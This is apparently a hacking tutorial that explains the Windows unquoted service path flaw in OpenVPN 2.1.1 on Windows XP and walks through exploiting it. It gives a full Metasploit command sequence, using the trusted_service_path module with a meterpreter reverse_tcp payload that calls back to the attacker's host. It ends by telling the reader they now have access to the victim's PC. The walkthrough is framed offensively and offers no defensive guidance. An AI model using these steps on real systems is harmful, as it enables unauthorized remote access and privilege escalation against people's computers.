Hack Remote Windows PC using Open VPN Trusted Path Privilege Escalation

This module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:program fileshello.exe; The Windows API will try to interpret this as two possible paths: C:program.exe, and C:program fileshello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the same problem. The offensive technique is also described in Writing Secure Code (2nd Edition), Chapter 23, in the section “Calling Processes Security” on page 676.

Exploit Targets

OpenVPN 2.1.1

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/local/trusted_service_path

msf exploit (trusted_service_path)>set payload windows/meterpreter/reverse_tcp

msf exploit (trusted_service_path)>set lhost (IP of Local Host)

msf exploit (trusted_service_path)>set lport 4443 (Port of  the local machine)

msf exploit (trusted_service_path)>set session 1

msf exploit (trusted_service_path)>exploit

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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